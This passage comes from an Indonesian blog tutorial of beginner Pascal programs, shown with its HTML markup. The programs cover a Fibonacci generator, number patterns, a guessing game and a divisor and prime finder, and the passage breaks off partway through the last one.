procedure lukistabel;<br />
</div>
<div style="text-align: justify;">
{Prosedur untuk menampilkan tabel}<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>var c:string;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>for i:=1 to 4 do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>for j:=1 to 4 do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>if (tab[i,j]>9) or ((tab[i,j]<0) and (tab[i,j]>-10)) then<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> c:=' '<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> else if (tab[i,j]<10) and (tab[i,j]>-1) then<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> c:=' '<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> else c:=' ';<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>if j=1 then<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write(tab[i,j],c)<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>else if j=2 then write(tab[i,j])<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> else write(c,tab[i,j]);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
{program utama}<br />
</div>
<div style="text-align: justify;">
Begin<br />
</div>
<div style="text-align: justify;">
{memasukan nilai}<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('a = ');readln(a);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('b = ');readln(b);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('c = ');readln(c);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('d = ');readln(d);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('w = ');readln(w);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('x = ');readln(x);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('y = ');readln(y);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('z = ');readln(z);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln('memproses.......');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>delay(500);<br />
</div>
<div style="text-align: justify;">
{rumusnya ini}<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[1,1]:=a-w;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[1,2]:=c+w+y;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[1,3]:=b+x-y;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[1,4]:=d-x;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[2,1]:=d+w-z;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[2,2]:=b;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[2,3]:=c;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[2,4]:=a-w+z;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[3,1]:=c-x+z;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[3,2]:=a;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[3,3]:=d;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[3,4]:=b+x-z;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[4,1]:=b+x;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[4,2]:=d-w-y;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[4,3]:=a-x+y;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab[4,4]:=c+w;<br />
</div>
<div style="text-align: justify;">
{pemanggilan prosedur lukis tabel}<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>lukistabel;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln;<br />
</div>
<div style="text-align: justify;">
end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<b>Fibbonaci Generator</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi: Kode untuk Menghasilkan deret fibbonaci<br />
</div>
<div style="text-align: justify;">
Hint : Fibbonaci adalah deret yang angka selanjutnya adalah penjumlahan 2 angka sebelumnya.<br />
</div>
<div style="text-align: justify;">
Misal : 1 1 2 3 5 8 13 21 ….dst<br />
</div>
<div style="text-align: justify;">
Screen Shot<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZpAlpDUfY4J2a4FhMXjzvII9XSfDBkrJPP9o0l8mokSTM8QNwztc7ICgqHrirR9W_34x6MYclqe8FLYDNgVemeZ4JKAKWZngAdp75g2cbZgBcik8qwhYqYg8-iJKFvbZZMqIIYDDHDcAL/s1600-h/fibbonaci.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZpAlpDUfY4J2a4FhMXjzvII9XSfDBkrJPP9o0l8mokSTM8QNwztc7ICgqHrirR9W_34x6MYclqe8FLYDNgVemeZ4JKAKWZngAdp75g2cbZgBcik8qwhYqYg8-iJKFvbZZMqIIYDDHDcAL/s320/fibbonaci.jpg" /></a><br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var a:array[1..1000] of longint;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>i,k:integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>clrscr;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('Input banyaknya fibbonaci: ');readln(i);<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>{fibbonacigenerator}<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>a[1]:=1;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>a[2]:=1;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>for k:=2 to i do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>a[k+1]:=a[k]+a[k-1];<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
{menulis fibbonaci}<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>for k:=1 to i do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write(a[k],' ');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln;<br />
</div>
<div style="text-align: justify;">
end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b><span style="font-size: large;">Iterasi</span></b><br />
</div>
<div style="text-align: justify;">
Nah, ini bagian perulangan. Tidak lebih rumit dari array, namun tidak sesederhana di sub bab fungsi dan prosedur.<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Angka</b><br />
</div>
<div style="text-align: justify;">
Fungsi: Tak ada fungsi khusus, hanya menampilkan pola-pola angka saja…<br />
</div>
<div style="text-align: justify;">
Hint : Begitu jalan, langsung masukan angka saja, Jangan masukan angka terlalu kecil atau besar.<br />
</div>
<div style="text-align: justify;">
Screen Shot<br />
</div>
<div style="text-align: justify;">
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5og0KTFGVKQsmt1_VMl2k4NTxzL7wD8lc4p64TMWVfI1o631-i7RD4WI5KMKnhhA6uvZfJtuD6fWDgmfDE8RJ7V5qLBohcp_rrVePMIsbt5qygYuYsMhRhyphenhyphenCahRTUHBd7rQwnuIOjxfEi/s1600-h/angka.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5og0KTFGVKQsmt1_VMl2k4NTxzL7wD8lc4p64TMWVfI1o631-i7RD4WI5KMKnhhA6uvZfJtuD6fWDgmfDE8RJ7V5qLBohcp_rrVePMIsbt5qygYuYsMhRhyphenhyphenCahRTUHBd7rQwnuIOjxfEi/s320/angka.jpg" /></a><br />
</div>
<br />
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var inp,i,a,t,r:integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln(inp);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>t:=inp;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>for i:=1 to inp do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> for a:=1 to inp do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write(a-t);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> t:=t-1;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln;<br />
</div>
<div style="text-align: justify;">
end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Jumlah Pangkat</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi: untuk menghasilkan deret pangkat, misal : 1, 4, 9, 16, 25 dst dan menjumlahkannya<br />
</div>
<div style="text-align: justify;">
Hint : Masukan jumlah deret pangkat yang akan ditampilkan untuk di jumlah…<br />
</div>
<div style="text-align: justify;">
Screen Shot<br />
</div>
<div style="text-align: justify;">
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeYohswe1TXotn_uTdEPLZkLMIlhACawwdmXGXsoCIkdAX4M8U1zcQOTQJ8E3D3ecn3a4olbuLmRW2S8a-aae8tqGfwloSWn75o6Ap-uC4ZNJCVocEhJ1Pg9h9Sr0rIwliLDWHZa7IpkFI/s1600-h/jumlah+pagkat.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeYohswe1TXotn_uTdEPLZkLMIlhACawwdmXGXsoCIkdAX4M8U1zcQOTQJ8E3D3ecn3a4olbuLmRW2S8a-aae8tqGfwloSWn75o6Ap-uC4ZNJCVocEhJ1Pg9h9Sr0rIwliLDWHZa7IpkFI/s320/jumlah+pagkat.jpg" /></a><br />
</div>
<br />
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var k,jum:double;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>i,n:longint;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>clrscr;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln(n);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>jum:=0;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>for i:=1 to n do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> k:=sqr(i);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write(k:0:0);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>if i<>n then<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> write('+');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> <span style="white-space: pre;"> </span>jum:=jum+k;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> <span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('=',jum:0:0);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln;<br />
</div>
<div style="text-align: justify;">
end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<b>Tebak Angka</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi: Permainan Tebak angka, masukan angka rahasia dan suruh teman untuk menebaknya<br />
</div>
<div style="text-align: justify;">
Hint : Permainan ini tidak akan asik bila dilakukan sendirian.<br />
</div>
<div style="text-align: justify;">
Screen Shot<br />
</div>
<div style="text-align: justify;">
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioenRVZt-smTYgFSdYzooGbfzBtlZxiyRL3_3rt7w6hgylhiayMP9BvdSaVTLIGS59ITUznkglm8y9sSP2ocpe0sl1PdAfkl1X8FS-G0CQxKetv4n2lbCfdRttckBR4nYCn25EbTca2_jl/s1600-h/tebakangka.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioenRVZt-smTYgFSdYzooGbfzBtlZxiyRL3_3rt7w6hgylhiayMP9BvdSaVTLIGS59ITUznkglm8y9sSP2ocpe0sl1PdAfkl1X8FS-G0CQxKetv4n2lbCfdRttckBR4nYCn25EbTca2_jl/s320/tebakangka.jpg" /></a><br />
</div>
<br />
</div>
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var a,teb,c,d,rhs:integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>Write('Bilangan Rahasia : ');readln(rhs);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>clrscr;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>repeat<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('masukan Tebakan anda : ');readln(teb);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>if (teb<>rhs) and (teb>rhs) then<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> writeln('Bilangan terlalu besar!')<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> else if (teb<>rhs) and (teb<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> writeln('bilangan terlalu kecil');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>until (teb=rhs);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln('Tebakan Anda Benar!!!!, selamat!!!!');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Z</b><br />
</div>
<div style="text-align: justify;">
Fungsi: Melukis huruf Z dengan karakter ‘*’ sebesar jumlah perulangan yang di inputkan<br />
</div>
<div style="text-align: justify;">
Hint : Masukan angka untuk menentukan besar huruf Z<br />
</div>
<div style="text-align: justify;">
Screen Shot<br />
</div>
<div style="text-align: justify;">
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvKZIniI0JDv-A-6F0mJa_KfdwxW8CKre_Yo9zdukuH9U4Wp4ZjF1-e11KgSttig1n6piaJmqxxCI3-8LNZa7kgAkxPatpPvqNaosfaz5DgPJE2q0X2moy-qlTTqdhiemIWuSZxh2Sd8SN/s1600-h/Z.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvKZIniI0JDv-A-6F0mJa_KfdwxW8CKre_Yo9zdukuH9U4Wp4ZjF1-e11KgSttig1n6piaJmqxxCI3-8LNZa7kgAkxPatpPvqNaosfaz5DgPJE2q0X2moy-qlTTqdhiemIWuSZxh2Sd8SN/s320/Z.jpg" /></a><br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var n,i,a:integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln(n);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>for i:=1 to n do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> for a:=1 to n do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> if (i=1) or (i=n) then<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('#')<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> else if (i<>1) and (i<>n) then<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> if a+i=n then<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> write('#')<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>else<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> write(' ');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Program Pencari Pembagi</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Program yang mungkin terlihat
paling ribet, tapi sebenarnya alurnya sederhana. Berungsi untuk
menampilkan pembagi dan hasil bagi bilangan bulat yang di masukan.
Selain itu, disini juga bisa digunakan untuk menentukan bilangan mana
yang prima atau bukan. Sebelumnya program ini sudah pernah di publish <a href="http://komputok.blogspot.com/2009/11/aplikasi-pencari-pembagi.html">di artikel ini</a>, namun saya tidak tampilkan source kodenya. Silahkan bila ingin langsung mencoba bisa langsung <a href="http://komputok.blogspot.com/2009/11/aplikasi-pencari-pembagi.html">kesana</a>.<br />
</div>
<div style="text-align: justify;">
Sebenarnya ada cacat di program
ini, yaitu ada 2 perulangan disini. Yang satu untuk menentukan bilangan
prima, satunya lagi untuk menentukan pembagi. Sebenarnya 2 perulangan
itu dapat dipangkas menjadi satu saja. Sehingga 2 perulangan menjadi
tidak efisien. Kenapa harus 2?<br />
</div>
<div style="text-align: justify;">
Sejarahnya begini, awalnya saya
menulis program ini iseng-iseng hanya untuk mencari yang mana bilangan
prima. Lalu saya kembangkan lagi menjadi bisa menuliskan daftar bilangan
pembagi, waktu itu, daripada repot mengedit perulangan untuk menentukan
bilangan prima yang sudah mapan, saya membuat perulangan baru. Dan
akhirnya program ini punya 2 perulangan yang strukturnya hampir mirip.<br />
</div>
<div style="text-align: justify;">
Tapi nampaknya tidak masalah,
toh selisih waktu kalkulasinya hanya beberapa milidetik, bahkan untuk
bilangan yang mencapai ratusan juta sekalipun. Mau edit lagi, rasanya
malas……Berikut kodenya…….:<br />
</div>
<div style="text-align: justify;">
Hint: Sebelum di compile, buat dulu file bernama output.txt di folder yang sama dengan source code pembagi.<br />
</div>
<div style="text-align: justify;">
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvKaF1gPARO9u95_tdPVSFqWcUHw-1r5yVA0aYsvMK_3Ajd18okmhh0HV_K1pOUCvJZ-0myctzcoVPebFmVvBa48URF2z5i8GpQ3lK9hfnFclpmdovk0LZIPE8hsvotiE3WtE6wj2y2NEZ/s1600-h/pembagi.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvKaF1gPARO9u95_tdPVSFqWcUHw-1r5yVA0aYsvMK_3Ajd18okmhh0HV_K1pOUCvJZ-0myctzcoVPebFmVvBa48URF2z5i8GpQ3lK9hfnFclpmdovk0LZIPE8hsvotiE3WtE6wj2y2NEZ/s320/pembagi.jpg" /></a><br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
<div style="text-align: justify;">
program pembagi;<br />
</div>
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var x,y,q,w,z,e,f,g:longint;<br />
</div>
<div style="text-align: justify;">
l,a:string;<br />
</div>
<div style="text-align: justify;">
out:text;<br />
</div>
<div style="text-align: justify;">
label k;<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
{prosedur untuk sekedar merapikan hasil output}<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
procedure rapikan(s:longint;var t:string);<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
if s<10 then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else if (s>9) and (s<100) then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else if (s>99) and (s<1000) then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else if (s>999) and (s<10000) then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else if (s>9999) and (s<100000) then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else if (s>99999) and (s<1000000) then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else if (s>999999) and (s<10000000) then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else if (s>9999999) and (s<100000000) then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else if (s>99999999) and (s<1000000000) then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else if (s>999999999) and (s<1000000000) then<br />
</div>
<div style="text-align: justify;">
t:=' '<br />
</div>
<div style="text-align: justify;">
else t:=' ';<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
{program utama}<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
textbackground(blue);<br />
</div>
<div style="text-align: justify;">
textcolor(Yellow);<br />
</div>
<div style="text-align: justify;">
clrscr;<br />
</div>
<div style="text-align: justify;">
assign(out,'output.txt');<br />
</div>
<div style="text-align: justify;">
append(out);<br />
</div>
<div style="text-align: justify;">
gotoxy(3,1);writeln('+______________________________________________________+');<br />
</div>
<div style="text-align: justify;">
gotoxy(3,2);writeln('|Copyright@2009, Xenovon, http://komputok.blogspot.com |');<br />
</div>
<div style="text-align: justify;">
gotoxy(3,3);Writeln('+------------------------------------------------------+');<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
gotoxy(3,5);writeln('Hint: Masukan angka 2 untuk keluar');<br />
</div>
<div style="text-align: justify;">
gotoxy(3,6);writeln(' hasil juga dioutputkan ke output.txt');<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
gotoxy(15,9);writeln('----[MENENTUKAN PEMBAGI SUATU BILANGAN BULAT]------');<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
{menuliskan ke output.txt}<br />
</div>
<div style="text-align: justify;">
writeln(out);<br />
</div>
<div style="text-align: justify;">
writeln(out);<br />
</div>
<div style="text-align: justify;">
writeln(out);<br />
</div>
<div style="text-align: justify;">
writeln(out,'+______________________________________________________+');<br />
</div>
<div style="text-align: justify;">
writeln(out,'|Copyright@2009, Xenovon, http://komputok.blogspot.com |');<br />
</div>
<div style="text-align: justify;">
Writeln(out,'+------------------------------------------------------+');<br />
</div>
<div style="text-align: justify;">
writeln(out);<br />
</div>
<div style="text-align: justify;">
writeln(out);<br />
</div>
<div style="text-align: justify;">
writeln(out);<br />
</div>
<div style="text-align: justify;">
writeln(out,'----[MENENTUKAN PEMBAGI SUATU BILANGAN BULAT]------');<br />
</div>
<div style="text-align: justify;">
writeln(out);<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
{input bilangan yang akan di cari}<br />
</div>
<div style="text-align: justify;">
k:<br />
</div>
<div style="text-align: justify;">
write('masukan bilangan yang akan di cek : ');readln(x);writeln;<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
{error handling}<br />
</div>
<div style="text-align: justify;">
if x<2 then goto k else<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
{pemeriksaan kondisi untuk keluar program, yaitu dengan menginput angka 2}<br />
</div>
<div style="text-align: justify;">
if x=2 then<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
writeln('2 adalah bilangan prima');<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
write('Mau keluar?(y/x)');readln(l);<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
if l='y' then exit else goto k;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
{Menentukan apakah bilangan prima atau bukan}<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
y:=1;<br />
</div>
<div style="text-align: justify;">
repeat<br />
</div>
<div style="text-align: justify;">
y:=y+1;<br />
</div>
<div style="text-align: justify;">
q:=x mod y;<br />
</div>
<div style="text-align: justify;">
until (q=0);<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
if y=x then<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
writeln(x,' adalah bilangan prima');writeln;<br />
</div>
<div style="text-align: justify;">
writeln(out,x,' adalah bilangan prima');writeln(out);<br />
</div>
<div style="text-align: justify;">
end<br />
</div>
<div style="text-align: justify;">
else<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
{apabila bukan prima, maka program menentukan pembagi yang mungkin}<br />
</div>
<div style="text-align: justify;">
writeln('Pembagi dari ',x,': ');<br />
</div>
<div style="text-align: justify;">
writeln('--------------------');<br />
</div>
<div style="text-align: justify;">
writeln(out,'Pembagi dari ',x,': ');<br />
</div>
<div style="text-align: justify;">
writeln(out,'--------------------');<br />
</div>
<div style="text-align: justify;">
writeln(out);<br />
</div>
<div style="text-align: justify;">
w:=1;<br />
</div>
<div style="text-align: justify;">
